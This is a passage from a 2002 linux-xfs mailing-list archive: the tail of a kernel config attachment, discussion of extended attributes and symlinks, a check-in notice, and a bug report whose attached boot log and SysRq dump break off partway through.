CONFIG_SND_SEQUENCER=m # CONFIG_SND_SEQ_DUMMY is not set CONFIG_SND_OSSEMUL=y CONFIG_SND_MIXER_OSS=m CONFIG_SND_PCM_OSS=m CONFIG_SND_SEQUENCER_OSS=y CONFIG_SND_RTCTIMER=m # CONFIG_SND_VERBOSE_PRINTK is not set # CONFIG_SND_DEBUG is not set # # Generic devices # # CONFIG_SND_DUMMY is not set # CONFIG_SND_VIRMIDI is not set # CONFIG_SND_MTPAV is not set # CONFIG_SND_SERIAL_U16550 is not set # CONFIG_SND_MPU401 is not set # # ISA devices # # CONFIG_SND_AD1816A is not set # CONFIG_SND_AD1848 is not set # CONFIG_SND_CS4231 is not set # CONFIG_SND_CS4232 is not set # CONFIG_SND_CS4236 is not set # CONFIG_SND_ES968 is not set # CONFIG_SND_ES1688 is not set # CONFIG_SND_ES18XX is not set # CONFIG_SND_GUSCLASSIC is not set # CONFIG_SND_GUSEXTREME is not set # CONFIG_SND_GUSMAX is not set # CONFIG_SND_INTERWAVE is not set # CONFIG_SND_INTERWAVE_STB is not set # CONFIG_SND_OPTI92X_AD1848 is not set # CONFIG_SND_OPTI92X_CS4231 is not set # CONFIG_SND_OPTI93X is not set # CONFIG_SND_SB8 is not set # CONFIG_SND_SB16 is not set # CONFIG_SND_SBAWE is not set # CONFIG_SND_WAVEFRONT is not set # CONFIG_SND_ALS100 is not set # CONFIG_SND_AZT2320 is not set # CONFIG_SND_CMI8330 is not set # CONFIG_SND_DT019X is not set # CONFIG_SND_OPL3SA2 is not set # CONFIG_SND_SGALAXY is not set # # PCI devices # # CONFIG_SND_ALI5451 is not set # CONFIG_SND_CS46XX is not set # CONFIG_SND_CS4281 is not set # CONFIG_SND_EMU10K1 is not set # CONFIG_SND_KORG1212 is not set # CONFIG_SND_NM256 is not set # CONFIG_SND_RME32 is not set # CONFIG_SND_RME96 is not set # CONFIG_SND_RME9652 is not set # CONFIG_SND_HDSP is not set # CONFIG_SND_TRIDENT is not set # CONFIG_SND_YMFPCI is not set # CONFIG_SND_ALS4000 is not set # CONFIG_SND_CMIPCI is not set # CONFIG_SND_ENS1370 is not set # CONFIG_SND_ENS1371 is not set # CONFIG_SND_ES1938 is not set # CONFIG_SND_ES1968 is not set # CONFIG_SND_MAESTRO3 is not set # CONFIG_SND_FM801 is not set # CONFIG_SND_ICE1712 is not set # CONFIG_SND_INTEL8X0 is not set # CONFIG_SND_SONICVIBES is not set CONFIG_SND_VIA82XX=m # # ALSA USB devices # # CONFIG_SND_USB_AUDIO is not set # # USB support # CONFIG_USB=m # CONFIG_USB_DEBUG is not set # # Miscellaneous USB options # CONFIG_USB_DEVICEFS=y CONFIG_USB_LONG_TIMEOUT=y CONFIG_USB_BANDWIDTH=y # CONFIG_USB_DYNAMIC_MINORS is not set # # USB Host Controller Drivers # CONFIG_USB_EHCI_HCD=m # CONFIG_USB_OHCI_HCD is not set CONFIG_USB_UHCI_HCD_ALT=m # # USB Device Class drivers # # CONFIG_USB_AUDIO is not set # CONFIG_USB_BLUETOOTH_TTY is not set # CONFIG_USB_MIDI is not set # CONFIG_USB_ACM is not set # CONFIG_USB_PRINTER is not set # # SCSI support is needed for USB Storage # # # USB Human Interface Devices (HID) # # CONFIG_USB_HID is not set # # USB HID Boot Protocol drivers # # CONFIG_USB_KBD is not set # CONFIG_USB_MOUSE is not set # CONFIG_USB_AIPTEK is not set # CONFIG_USB_WACOM is not set # CONFIG_USB_POWERMATE is not set # CONFIG_USB_XPAD is not set # # USB Imaging devices # # CONFIG_USB_MDC800 is not set # CONFIG_USB_SCANNER is not set # # USB Multimedia devices # # CONFIG_USB_DABUSB is not set # CONFIG_USB_VICAM is not set # CONFIG_USB_DSBR is not set # CONFIG_USB_IBMCAM is not set # CONFIG_USB_KONICAWC is not set # CONFIG_USB_OV511 is not set # CONFIG_USB_PWC is not set # CONFIG_USB_SE401 is not set # CONFIG_USB_STV680 is not set # # USB Network adaptors # # CONFIG_USB_CATC is not set # CONFIG_USB_CDCETHER is not set # CONFIG_USB_KAWETH is not set # CONFIG_USB_PEGASUS is not set # CONFIG_USB_RTL8150 is not set # CONFIG_USB_USBNET is not set # # USB port drivers # # # USB Serial Converter support # # CONFIG_USB_SERIAL is not set # # USB Miscellaneous drivers # # CONFIG_USB_TIGL is not set # CONFIG_USB_AUERSWALD is not set # CONFIG_USB_RIO500 is not set # CONFIG_USB_BRLVGER is not set # CONFIG_USB_LCD is not set # CONFIG_USB_TEST is not set # # Bluetooth support # # CONFIG_BT is not set # # Profiling support # # CONFIG_PROFILING is not set # # Kernel hacking # # CONFIG_SOFTWARE_SUSPEND is not set CONFIG_DEBUG_KERNEL=y # CONFIG_DEBUG_STACKOVERFLOW is not set # CONFIG_DEBUG_SLAB is not set # CONFIG_DEBUG_IOVIRT is not set CONFIG_MAGIC_SYSRQ=y # CONFIG_DEBUG_SPINLOCK is not set # CONFIG_KALLSYMS is not set CONFIG_X86_EXTRA_IRQS=y CONFIG_X86_FIND_SMP_CONFIG=y CONFIG_X86_MPPARSE=y # # Security options # CONFIG_SECURITY_CAPABILITIES=y # # Cryptographic options # CONFIG_CRYPTO=y # CONFIG_CRYPTO_HMAC is not set # CONFIG_CRYPTO_MD4 is not set # CONFIG_CRYPTO_MD5 is not set # CONFIG_CRYPTO_SHA1 is not set # CONFIG_CRYPTO_SHA256 is not set # CONFIG_CRYPTO_DES is not set # CONFIG_CRYPTO_BLOWFISH is not set # CONFIG_CRYPTO_TEST is not set # # Library routines # # CONFIG_CRC32 is not set CONFIG_X86_BIOS_REBOOT=y --=_C7zPtVaVf+AK4O-- From owner-linux-xfs@oss.sgi.com Mon Nov 11 12:45:04 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Mon, 11 Nov 2002 12:45:09 -0800 (PST) Received: from iris.acsalaska.net (iris.slb.nwc.acsalaska.net [209.112.155.43]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gABKj3uR011458 for ; Mon, 11 Nov 2002 12:45:04 -0800 Received: from erbenson.alaska.net (221-pm32.nwc.alaska.net [209.112.158.221]) by iris.acsalaska.net (8.12.5/8.12.5) with ESMTP id gABKkXvW068091 for ; Mon, 11 Nov 2002 11:46:34 -0900 (AKST) (envelope-from erbenson@alaska.net) Received: from plato.local.lan (plato.local.lan [192.168.0.4]) by erbenson.alaska.net (Postfix) with ESMTP id 8CC9D3A0A for ; Mon, 11 Nov 2002 11:46:32 -0900 (AKST) Received: by plato.local.lan (Postfix, from userid 1000) id 93E534104E2; Mon, 11 Nov 2002 11:46:32 -0900 (AKST) Date: Mon, 11 Nov 2002 11:46:32 -0900 From: Ethan Benson To: linux-xfs@oss.sgi.com Subject: Re: [Acl-Devel] Re: User EA on symlinks, 2.4.19-xfs Message-ID: <20021111204632.GG16831@plato.local.lan> Mail-Followup-To: linux-xfs@oss.sgi.com References: <200211111304.gABD4dq21804@monkeyiq.dnsalias.org> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="B8ONY/mu/bqBak9m" Content-Disposition: inline In-Reply-To: <200211111304.gABD4dq21804@monkeyiq.dnsalias.org> User-Agent: Mutt/1.3.28i X-OS: Debian GNU X-gpg-fingerprint: E3E4 D0BC 31BC F7BB C1DD C3D6 24AC 7B1A 2C44 7AFC X-gpg-key: http://www.alaska.net/~erbenson/gpg/key.asc Mail-Copies-To: nobody X-No-CC: I subscribe to this list; do not CC me on replies. X-archive-position: 1631 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: erbenson@alaska.net Precedence: bulk X-list: linux-xfs --B8ONY/mu/bqBak9m Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Mon, Nov 11, 2002 at 11:04:39PM +1000, Ben Martin wrote: >=20 > I have thought of adapting libferris to support a new symlink format, > using regular files and pretending at its API level that it is a link. I > was still trying to avoid that for now as it opens up a few other > issues. UGH, apples OSX does this and its gross, `symlinks' you create in the GUI are useless regular files in the shell. unless i misunderstood your intent in which case disregard. IMO GUI programs which litter junk all over the filesystem are exceedingly annoying (some organizations ban the use of client software which results in this cruftification on organization networks) also GUI programs which `extend' things in a manner that breaks the command line shell are also exceedingly annoying. --=20 Ethan Benson http://www.alaska.net/~erbenson/ --B8ONY/mu/bqBak9m Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org iEYEARECAAYFAj3QFygACgkQJKx7GixEevyWGACeJ0sUJ5Y5r3Bu7KPrXNzrP8EL jOAAoJC7Q7WnkoYpJHgt6V0n5Li6EoLI =lrjG -----END PGP SIGNATURE----- --B8ONY/mu/bqBak9m-- From owner-linux-xfs@oss.sgi.com Mon Nov 11 13:04:38 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Mon, 11 Nov 2002 13:04:42 -0800 (PST) Received: from thunker.thunk.org (thunk.org [140.239.227.29]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gABL4cuR012164 for ; Mon, 11 Nov 2002 13:04:38 -0800 Received: from [216.175.175.162] (helo=think.thunk.org) by thunker.thunk.org with asmtp (Exim 3.35 #1 (Debian)) id 18BLkK-0006e3-00; Mon, 11 Nov 2002 16:05:24 -0500 Received: from tytso by think.thunk.org with local (Exim 3.35 #1 (Debian)) id 18BLkK-0001ip-00; Mon, 11 Nov 2002 16:05:24 -0500 Date: Mon, 11 Nov 2002 16:05:24 -0500 From: "Theodore Ts'o" To: Andreas Gruenbacher Cc: Alexander Viro , "Stephen C.Tweedie" , ext2-devel@lists.sourceforge.net, linux-xfs@oss.sgi.com Subject: Re: Extended attributes: process vs. kernel context (e.g. HSM) Message-ID: <20021111210524.GB6032@think.thunk.org> References: <200211100135.26236.agruen@suse.de> <20021110013233.GH9589@think.thunk.org> <200211111334.32074.agruen@suse.de> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <200211111334.32074.agruen@suse.de> User-Agent: Mutt/1.3.28i X-archive-position: 1632 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: tytso@mit.edu Precedence: bulk X-list: linux-xfs On Mon, Nov 11, 2002 at 01:34:31PM +0100, Andreas Gruenbacher wrote: > I think adding a (struct task_struct *) parameter to the xattr inode > operations is a better idea --- I don't know how likely it is that > credentials will be passed around in a future kernel, but if it's > likely then the xattr inode operations would move in the right > direction, instead of introducing weird flag(s). But that won't help the problem which was originally stated. In an HSM setup, there will be a kernel module that will be executing on behalf of untrusted user space code, but it will want set a trusted user attribute. So being able to pass in a pointer to another task isn't going to be useful; there isn't another task's credentials that should be used. Instead, though, what you need is a way to tell the xattr code that "this is a privileged operation". And that requires but a single bit. Asking the HSM module to fake up a task structure just so it can create a "credential" that has CAP_SYS_ADMIN set is simply madness. The other thing to consider here is that I really don't want to start us down the path where individual user attributes are owned by some user or group other than the owner or group owner of the base file. When you start talking about "credentials being passed around", as opposed to simply a single bit which says, "this is official kernel business", you're scaring me. We **DON'T** want to have user and group ownership of xattrs. Next thing you know, people will start wanting ACL's on xattrs. And then it will all go downhill from there. ACL's on ACL's? ACL's on ACL's on ACL's? ACL's on ACL's on ACL's on ACL's? Please, God, No. We have to draw a line and say no the madness somewhere, and I think it should be done sooner rather than later. - Ted From owner-linux-xfs@oss.sgi.com Mon Nov 11 13:15:45 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Mon, 11 Nov 2002 13:15:47 -0800 (PST) Received: from ledzep.americas.sgi.com (eaganfw1.SGI.COM [198.149.7.1]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gABLFiuR012763 for ; Mon, 11 Nov 2002 13:15:45 -0800 Received: from daisy-e185.americas.sgi.com (daisy-e185.americas.sgi.com [128.162.185.214]) by ledzep.americas.sgi.com (SGI-8.9.3/americas-smart-nospam1.1) with ESMTP id PAA58384 for ; Mon, 11 Nov 2002 15:17:10 -0600 (CST) Received: from taclab54.munich.sgi.com (taclab54.munich.sgi.com [144.253.195.54]) by daisy-e185.americas.sgi.com (SGI-8.9.3/SGI-server-1.8) with ESMTP id PAA74662 for ; Mon, 11 Nov 2002 15:17:08 -0600 (CST) Received: (from hch@localhost) by taclab54.munich.sgi.com (8.11.6/8.11.6) id gAC4VjU03298 for linux-xfs@oss.sgi.com; Mon, 11 Nov 2002 23:31:45 -0500 Resent-Message-Id: <200211120431.gAC4VjU03298@taclab54.munich.sgi.com> Received: from nodin.corp.sgi.com (nodin.corp.sgi.com [192.26.51.193]) by daisy-e185.americas.sgi.com (SGI-8.9.3/SGI-server-1.8) with ESMTP id PAA91656 for ; Mon, 11 Nov 2002 15:14:52 -0600 (CST) Received: from lab343.munich.sgi.com (lab343.munich.sgi.com [144.253.195.43]) by nodin.corp.sgi.com (8.12.3/8.11.4/nodin-1.0) with ESMTP id gABLEokZ30147271 for ; Mon, 11 Nov 2002 13:14:51 -0800 (PST) Received: from lab343.munich.sgi.com (localhost [127.0.0.1]) by lab343.munich.sgi.com (8.12.3/8.12.2/SuSE Linux 0.6) with ESMTP id gABLDUXL001273 for ; Mon, 11 Nov 2002 22:13:30 +0100 Received: (from hch@localhost) by lab343.munich.sgi.com (8.12.3/8.12.2/Submit) id gABLDUUW001272 for hch@sgi.com; Mon, 11 Nov 2002 22:13:30 +0100 Date: Mon, 11 Nov 2002 22:13:30 +0100 From: Christoph Hellwig Message-Id: <200211112113.gABLDUUW001272@lab343.munich.sgi.com> Subject: TAKE - Bring fs/Kconfig a bit more in line with Linus' tree To: undisclosed-recipients:; Resent-From: hch@sgi.com Resent-Date: Mon, 11 Nov 2002 23:31:44 -0500 Resent-To: linux-xfs@oss.sgi.com X-archive-position: 1633 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: hch@sgi.com Precedence: bulk X-list: linux-xfs Date: Mon Nov 11 13:14:20 PST 2002 Workarea: lab343.munich.sgi.com:/home/hch/repo/slinx/2.5.x-xfs The following file(s) were checked into: bonnie.engr.sgi.com:/isms/slinx/2.5.x-xfs Modid: 2.5.x-xfs:slinx:132730a linux/fs/Kconfig - 1.6 - Move XFS_RT a bit around to match mainline From owner-linux-xfs@oss.sgi.com Mon Nov 11 15:07:53 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Mon, 11 Nov 2002 15:08:01 -0800 (PST) Received: from s383.jpl.nasa.gov (s383.jpl.nasa.gov [137.78.170.215]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gABN7quR017509 for ; Mon, 11 Nov 2002 15:07:52 -0800 Received: from jpl.nasa.gov (mulan [137.78.61.94]) by s383.jpl.nasa.gov (8.11.6/8.11.6) with ESMTP id gABMwBC13301 for ; Mon, 11 Nov 2002 14:58:11 -0800 (PST) Message-ID: <3DD03603.7050106@jpl.nasa.gov> Date: Mon, 11 Nov 2002 14:58:11 -0800 From: Bryan Whitehead Organization: Jet Propulsion Laboratory User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.1) Gecko/20020826 X-Accept-Language: en-us, en, zh, zh-cn, zh-hk, zh MIME-Version: 1.0 To: linux-xfs@oss.sgi.com Subject: HIGHMEM lockups with XFS fs Content-Type: multipart/mixed; boundary="------------060304050605050002090200" X-archive-position: 1634 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: driver@jpl.nasa.gov Precedence: bulk X-list: linux-xfs This is a multi-part message in MIME format. --------------060304050605050002090200 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit I've run memtest to verify that all my memory is ok. When I remove all XFS partitions and run ext3 I don't get lockups. The hard lock keeps me from even syncing the disk (Alt-SysRq-S). I was however with a serial-console get some information. I attached the boot sequence allong with the alt-sysrq output after lockup. I have the time to help track this bug down, just give me instructions on what you'd like me todo. (I can rebuild and patch kernels if needed) -- Bryan Whitehead SysAdmin - JPL - Interferometry Systems and Technology Phone: 818 354 2903 driver@jpl.nasa.gov --------------060304050605050002090200 Content-Type: text/plain; name="crash.txt" Content-Transfer-Encoding: 7bit Content-Disposition: inline; filename="crash.txt" Linux version 2.4.19-16mdkenterprise (quintela@bi.mandrakesoft.com) (gcc version 3.2 (Mandrake Linux 9.0 3.2-1mdk)) #1 SMP Fri Sep 20 17:34:59 CEST 2002 BIOS-provided physical RAM map: BIOS-e820: 0000000000000000 - 00000000000a0000 (usable) BIOS-e820: 00000000000f0000 - 0000000000100000 (reserved) BIOS-e820: 0000000000100000 - 000000007ff9e000 (usable) BIOS-e820: 000000007ff9e000 - 0000000080000000 (reserved) BIOS-e820: 00000000fec00000 - 00000000fec10000 (reserved) BIOS-e820: 00000000fee00000 - 00000000fee10000 (reserved) BIOS-e820: 00000000ffb00000 - 0000000100000000 (reserved) 1151MB HIGHMEM available. 896MB LOWMEM available. found SMP MP-table at 000fe710 hm, page 000fe000 reserved twice. hm, page 000ff000 reserved twice. hm, page 000f0000 reserved twice. Advanced speculative caching feature not present On node 0 totalpages: 524190 zone(0): 4096 pages. zone(1): 225280 pages. zone(2): 294814 pages. Intel MultiProcessor Specification v1.4 Virtual Wire compatibility mode. OEM ID: DELL Product ID: WS 620 APIC at: 0xFEE00000 Processor #0 Pentium(tm) Pro APIC version 17 Processor #1 Pentium(tm) Pro APIC version 17 I/O APIC #2 Version 32 at 0xFEC00000. Processors: 2 Kernel command line: BOOT_IMAGE=linux-enterpris ro root=805 devfs=mount hdc=ide-scsi console=ttyS0,9600 console=tty0 ide_setup: hdc=ide-scsi Initializing CPU#0 Detected 993.333 MHz processor. Console: colour VGA+ 80x25 Calibrating delay loop... 1979.18 BogoMIPS Memory: 2068688k/2096760k available (1392k kernel code, 27688k reserved, 484k data, 148k init, 1179256k highmem) Dentry cache hash table entries: 262144 (order: 9, 2097152 bytes) Inode cache hash table entries: 131072 (order: 8, 1048576 bytes) Mount-cache hash table entries: 32768 (order: 6, 262144 bytes) Buffer-cache hash table entries: 131072 (order: 7, 524288 bytes) Page-cache hash table entries: 524288 (order: 9, 2097152 bytes) CPU: L1 I cache: 16K, L1 D cache: 16K CPU: L2 cache: 256K Intel machine check architecture supported. Intel machine check reporting enabled on CPU#0. Enabling fast FPU save and restore... done. Enabling unmasked SIMD FPU exception support... done. Checking 'hlt' instruction... OK. POSIX conformance testing by UNIFIX mtrr: v1.40 (20010327) Richard Gooch (rgooch@atnf.csiro.au) mtrr: detected mtrr type: Intel CPU: L1 I cache: 16K, L1 D cache: 16K CPU: L2 cache: 256K Intel machine check reporting enabled on CPU#0. CPU0: Intel Pentium III (Coppermine) stepping 06 per-CPU timeslice cutoff: 731.63 usecs. enabled ExtINT on CPU#0 ESR value before enabling vector: 00000040 ESR value after enabling vector: 00000000 Booting processor 1/1 eip 2000 Initializing CPU#1 masked ExtINT on CPU#1 ESR value before enabling vector: 00000000 ESR value after enabling vector: 00000000 Calibrating delay loop... 1985.74 BogoMIPS CPU: L1 I cache: 16K, L1 D cache: 16K CPU: L2 cache: 256K Intel machine check reporting enabled on CPU#1. CPU1: Intel Pentium III (Coppermine) stepping 06 Total of 2 processors activated (3964.92 BogoMIPS). ENABLING IO-APIC IRQs Setting 2 in the phys_id_present_map ...changing IO-APIC physical APIC ID to 2 ... ok. ..TIMER: vector=0x31 pin1=2 pin2=0 testing the IO APIC....................... .................................... done. Using local APIC timer interrupts. calibrating APIC timer ... ..... CPU clock speed is 993.3806 MHz. ..... host bus clock speed is 132.4507 MHz. cpu: 0, clocks: 1324507, slice: 441502 CPU0 cpu: 1, clocks: 1324507, slice: 441502 CPU1 checking TSC synchronization across CPUs: passed. Waiting on wait_init_idle (map = 0x2) All processors have done init_idle PCI: PCI BIOS revision 2.10 entry at 0xfc03e, last bus=4 PCI: Using configuration type 1 PCI: Probing PCI hardware Unknown bridge resource 0: assuming transparent Unknown bridge resource 0: assuming transparent Unknown bridge resource 2: assuming transparent Unknown bridge resource 0: assuming transparent Unknown bridge resource 1: assuming transparent Unknown bridge resource 2: assuming transparent Unknown bridge resource 2: assuming transparent PCI: Using IRQ router PIIX [8086/2410] at 00:1f.0 PCI->APIC IRQ transform: (B0,I31,P3) -> 19 PCI->APIC IRQ transform: (B0,I31,P1) -> 17 PCI->APIC IRQ transform: (B1,I0,P0) -> 16 PCI->APIC IRQ transform: (B4,I5,P0) -> 17 PCI->APIC IRQ transform: (B4,I5,P1) -> 18 PCI->APIC IRQ transform: (B4,I7,P0) -> 19 PCI->APIC IRQ transform: (B4,I8,P0) -> 16 isapnp: Scanning for PnP cards... isapnp: No Plug & Play device found Linux NET4.0 for Linux 2.4 Based upon Swansea University Computer Society NET3.039 Initializing RT netlink socket apm: BIOS version 1.2 Flags 0x03 (Driver version 1.16) apm: disabled - APM is not SMP safe. Starting kswapd allocated 32 pages and 32 bhs reserved for the highmem bounces VFS: Diskquotas version dquot_6.5.0 initialized devfs: v1.12a (20020514) Richard Gooch (rgooch@atnf.csiro.au) devfs: boot_options: 0x1 pty: 256 Unix98 ptys configured Serial driver version 5.05c (2001-07-08) with HUB-6 MANY_PORTS MULTIPORT SHARE_IRQ SERIAL_PCI ISAPNP enabled ttyS00 at 0x03f8 (irq = 4) is a 16550A ttyS01 at 0x02f8 (irq = 3) is a 16550A Uniform Multi-Platform E-IDE driver Revision: 7.00alpha2 ide: Assuming 33MHz system bus speed for PIO modes; override with idebus=xx ICH: IDE controller on PCI bus 00 dev f9 ICH: chipset revision 2 ICH: not 100% native mode: will probe irqs later ide1: BM-DMA at 0xffa8-0xffaf, BIOS settings: hdc:DMA, hdd:pio hdc: SONY CD-RW CRX160E, ATAPI CD/DVD-ROM drive ide1 at 0x170-0x177,0x376 on irq 15 ide-floppy driver 0.99b RAMDISK driver initialized: 16 RAM disks of 32000K size 1024 blocksize ide-floppy driver 0.99b md: md driver 0.90.0 MAX_MD_DEVS=256, MD_SB_DISKS=27 md: Autodetecting RAID arrays. md: autorun ... md: ... autorun DONE. NET4: Linux TCP/IP 1.0 for NET4.0 IP Protocols: ICMP, UDP, TCP, IGMP IP: routing cache hash table of 16384 buckets, 128Kbytes TCP: Hash tables configured (established 262144 bind 65536) Linux IP multicast router 0.06 plus PIM-SM NET4: Unix domain sockets 1.0/SMP for Linux NET4.0. RAMDISK: Compressed image found at block 0 Freeing initrd memory: 517k freed VFS: Mounted root (ext2 filesystem). Mounted devfs on /dev SCSI subsystem driver Revision: 1.00 scsi0 : Adaptec AIC7XXX EISA/VLB/PCI SCSI HBA DRIVER, Rev 6.2.8 aic7899: Ultra160 Wide Channel A, SCSI Id=7, 32/253 SCBs scsi1 : Adaptec AIC7XXX EISA/VLB/PCI SCSI HBA DRIVER, Rev 6.2.8 aic7899: Ultra160 Wide Channel B, SCSI Id=7, 32/253 SCBs SysRq : Changing Loglevel Loglevel set to 8 Vendor: QUANTUM Model: ATLAS10K2-TY367L Rev: DA40 Type: Direct-Access ANSI SCSI revision: 03 Vendor: FUJITSU Model: MAJ3364MP Rev: 5509 Type: Direct-Access ANSI SCSI revision: 03 scsi0:A:0:0: Tagged Queuing enabled. Depth 253 scsi0:A:1:0: Tagged Queuing enabled. Depth 253 Attached scsi disk sda at scsi0, channel 0, id 0, lun 0 Attached scsi disk sdb at scsi0, channel 0, id 1, lun 0 (scsi0:A:0): 160.000MB/s transfers (80.000MHz DT, offset 127, 16bit) SCSI device sda: 71132959 512-byte hdwr sectors (36420 MB) Partition check: /dev/scsi/host0/bus0/target0/lun0: p1 p2 < p5 p6 p7 p8 > (scsi0:A:1): 160.000MB/s transfers (80.000MHz DT, offset 127, 16bit) SCSI device sdb: 71132959 512-byte hdwr sectors (36420 MB) /dev/scsi/host0/bus0/target1/lun0: p1 p2 < p5 p6 > SGI XFS with ACLs, DMAPI, realtime, quota, no debug enabled XFS mounting filesystem sd(8,5) XFS: WARNING: recovery required on readonly filesystem. XFS: write access will be enabled during mount. Starting XFS recovery on filesystem: sd(8,5) (dev: 8/5) Ending XFS recovery on filesystem: sd(8,5) (dev: 8/5) Mounted devfs on /dev Freeing unused kernel memory: 148k freed SysRq : Changing Loglevel Loglevel set to 8 3c59x: Donald Becker and others. www.scyld.com/network/vortex.html 04:07.0: 3Com PCI 3c905C Tornado at 0xe480. Vers LK1.1.16 Installing knfsd (copyright (C) 1996 okir@monad.swb.de). martian source 255.255.255.255 from 127.0.0.1, on dev eth0 ll header: ff:ff:ff:ff:ff:ff:00:d0:59:2f:e1:37:08:00 martian source 255.255.255.255 from 127.0.0.1, on dev eth0 ll header: ff:ff:ff:ff:ff:ff:00:d0:59:2f:e1:37:08:00 martian source 255.255.255.255 from 127.0.0.1, on dev eth0 ll header: ff:ff:ff:ff:ff:ff:00:d0:59:2f:e1:37:08:00 SysRq : HELP : loglevel0-8 reBoot tErm kIll saK showMem showPc unRaw Sync showTasks Unmount SysRq : Show Memory Mem-info: Free pages: 1759476kB (923628kB HighMem) Zone:DMA freepages: 11800kB Zone:Normal freepages:824048kB Zone:HighMem freepages:923628kB ( Active: 17541, inactive: 51146, free: 439869 ) 0*4kB 1*8kB 1*16kB 2*32kB 1*64kB 1*128kB 1*256kB 0*512kB 1*1024kB 5*2048kB = 11800kB) 4*4kB 6*8kB 5*16kB 5*32kB 5*64kB 1*128kB 0*256kB 0*512kB 0*1024kB 402*2048kB = 824048kB) 1*4kB 1*8kB 0*16kB 1*32kB 1*64kB 1*128kB 1*256kB 1*512kB 1*1024kB 450*2048kB = 923628kB) Swap cache: add 0, delete 0, find 0/0, race 0+0 Free swap: 1269056kB 524190 pages of RAM 294814 pages of HIGHMEM 6989 reserved pages 44773 pages shared 0 pages swap cached 15 pages in page table cache Buffer memory: 68kB Cache memory: 260968kB CLEAN: 475 buffers, 1870 kbyte, 4 used (last=150), 0 locked, 0 dirty 0 delay LOCKED: 1048 buffers, 4192 kbyte, 0 used (last=0), 0 locked, 0 dirty 0 delay DIRTY: 10250 buffers, 41000 kbyte, 0 used (last=0), 0 locked, 10250 dirty 10249 delay SysRq : Show Regs Pid: 0, comm: swapper EIP: 0010:[] CPU: 1 EFLAGS: 00000246 Not tainted EAX: 00000000 EBX: c01072e0 ECX: c2826000 EDX: c283a000 ESI: c283a000 EDI: c283a000 EBP: c283bfc0 DS: 0018 ES: 0018 CR0: 8005003b CR2: bffff808 CR3: 36bf6000 CR4: 000006d0 Call Trace: [] [] SysRq : Show State free sibling task PC stack pid father child younger older init S F75BFDE0 3224 1 0 2713 (NOTLB) Call Trace: [] [] [] [] [] [] [] [] keventd S 00000001 5908 2 1 3 (L-TLB) Call Trace: [] [] [] [] [] ksoftirqd_CPU S F6934000 5988 3 1 4 2 (L-TLB) Call Trace: [] [] [] ksoftirqd_CPU S C01253C7 5572 4 1 5 3 (L-TLB) Call Trace: [] [] [] [] kswapd S 00000000 6368 5 1 6 4 (L-TLB) Call Trace: [] [] [] [] [] bdflush S 00000002 6364 6 1 7 5 (L-TLB) Call Trace: [] [] [] [] [] kupdated D 00000000 3604 7 1 8 6 (L-TLB) Call Trace: [] [] [] [] [] [] [] [] [] [] [] [] [] [] [] [] [] [] [] [] [] [] mdrecoveryd S FFFFFFFF 6344 8 1 12 7 (L-TLB) Call Trace: [] [] [] scsi_eh_0 S FFFFFFFF 6116 12 1 13 8 (L-TLB) Call Trace: [] [] [] [] [] [] [] [] scsi_eh_1 S FFFFFFFF 6104 13 1 18 12 (L-TLB) Call Trace: [] [] [] [] [] [] [] pagebuf_daemo S C283A000 4752 18 1 142 13 (L-TLB) Call Trace: [] [] [] [] [] [] [] [] [] [] devfsd S C015D1D3 4256 142 1 242 18 (NOTLB) Call Trace: [] [] [] [] [] [] khubd S C283A000 4936 242 1 629 142 (L-TLB) Call Trace: [] [] [] [] [] [] rc S C0321834 0 629 1 1739 880 242 (NOTLB) Call Trace: [] [] syslogd D 00000000 0 880 1 888 629 (NOTLB) Call Trace: [] [] [] [] [] [] [] [] [] [] [] [] [] [] klogd S F71A4000 1392 888 1 915 880 (NOTLB) Call Trace: [] [] [] [] [] [] [] [] rpc.statd S F71ADCA4 0 915 1 930 888 (NOTLB) Call Trace: [] [] [] [] [] [] [] [] [] gpm S 00000003 0 930 1 1045 915 (NOTLB) Call Trace: [] [] [] [] [] [] [] xfs S 00000000 0 1045 1 1086 930 (NOTLB) Call Trace: [] [] [] [] [] [] [] [] rpciod S F70A50C0 0 1085 1 1117 1086 (L-TLB) Call Trace: [] [] [] [] [] [] [] [] lockd S 65626F64 0 1086 1 1085 1045 (L-TLB) Call Trace: [] [] [] [] [] nscd S F6EA1FA8 1392 1117 1 1121 1138 1085 (NOTLB) Call Trace: [] [] [] [] [] [] [] nscd S 000001F0 0 1121 1117 1126 (NOTLB) Call Trace: [] [] [] [] [] nscd S F6E91FA8 2416 1122 1121 1123 (NOTLB) Call Trace: [] [] [] [] [] [] [] nscd S F6934000 2416 1123 1121 1124 1122 (NOTLB) Call Trace: [] [] [] [] [] nscd S F6E84000 0 1124 1121 1125 1123 (NOTLB) Call Trace: [] [] [] [] [] nscd S 00000001 2416 1125 1121 1126 1124 (NOTLB) Call Trace: [] [] [] [] [] nscd S 00000000 2416 1126 1121 1125 (NOTLB) Call Trace: [] [] [] [] [] [] [] [] [] atd S 00000200 0 1138 1 1156 1117 (NOTLB) Call Trace: [] [] [] [] ntpd S F6E3A3A0 0 1156 1 1174 1138 (NOTLB) Call Trace: [] [] [] [] [] [] [] sshd S 00000000 